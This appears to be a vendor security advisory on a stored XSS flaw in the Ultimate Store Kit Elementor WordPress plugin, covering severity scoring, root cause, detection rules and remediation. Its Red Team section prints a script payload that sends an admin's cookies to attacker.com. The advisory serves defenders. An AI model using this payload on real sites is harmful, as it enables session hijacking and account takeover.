CVE-2025-32184

Executive Summary

CVE-2025-32184 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ultimate Store Kit Elementor Addons WordPress plugin by Bdthemes. The vulnerability affects versions from n/a through 2.5.0. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into web pages, which will execute in the browsers of other users (including administrators) when the malicious content is viewed. This can lead to session hijacking, credential theft, or defacement. The vulnerability arises from improper neutralization of user-supplied input during web page generation. No public exploit code or proof-of-concept is currently available, and the patch status is unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or higher)
• User Interaction: Required (Victim must view the malicious page)
• Scope: Changed (Impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS in a widely-used plugin makes it a significant threat to WordPress sites.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) in the Ultimate Store Kit Elementor Addons plugin. The plugin likely fails to properly sanitize or escape user-supplied input when rendering dynamic content (e.g., product titles, descriptions, or custom fields) within Elementor widgets. An attacker with contributor-level access can inject malicious JavaScript into a post or page. When an administrator or other user views the affected page, the script executes in their browser context.

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a post/page using an Ultimate Store Kit widget.
3. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable input field.
4. The plugin stores the payload without proper sanitization.
5. When an administrator views the page, the script executes, potentially stealing cookies or performing actions on behalf of the admin.

Root Cause: The plugin uses functions like echo $value or the_content() without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (Example):

// In a widget render method
echo $settings['product_title']; // No escaping

Patched Code (Expected):

// Proper escaping
echo esc_html( $settings['product_title'] );

The patch would involve adding appropriate output escaping to all user-controlled data rendered by the plugin. Since the patch status is unknown, users should monitor the plugin's changelog for updates.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress site with Ultimate Store Kit plugin <= 2.5.0
• Contributor-level account or higher

Exploitation Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Add an Ultimate Store Kit widget (e.g., Product Grid).
4. In a text field (e.g., custom CSS class or product title), inject:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Publish the post.
6. When an admin views the post, the script executes and sends the admin's cookies to the attacker.

Note: No public exploit code is available. The above is a conceptual payload.

Blue Team (Defensive)

Detection:

• Monitor for unusual post content containing <script> tags or event handlers.
• Review logs for contributor-level users creating posts with suspicious content.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Prevention:

• Apply the principle of least privilege; restrict contributor-level access.
• Use a security plugin (e.g., Wordfence) to scan for malicious content.
• Keep the plugin updated to the latest version.

Indicators of Compromise (IOCs)

• File Hashes: Unknown (no specific malicious files identified)
• Network Indicators: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
• Log Entries: Posts or pages created by low-privilege users containing <script> tags or obfuscated JavaScript.
• Database Entries: Malicious payloads stored in wp_posts.post_content or plugin-specific meta fields.

Detection Engineering

YARA Rule

rule CVE_2025_32184_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Ultimate Store Kit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-32184"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via Ultimate Store Kit Plugin
id: cve-2025-32184
status: experimental
description: Detects stored XSS attempts in WordPress posts using Ultimate Store Kit
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains|all:
            - 'ultimate-store-kit'
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32184 Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"ultimate-store-kit"; http_client_body; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Review and remove any suspicious posts or pages created by low-privilege users.
3. Change all admin passwords and invalidate existing sessions.

Long-term Fix:

• Apply the official patch from Bdthemes when released.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce strict content security policies (CSP) to mitigate XSS impact.

Workarounds:

• Use a security plugin to add generic XSS protection.
• Restrict contributor-level users from using the Ultimate Store Kit widgets via role management.

Valters IT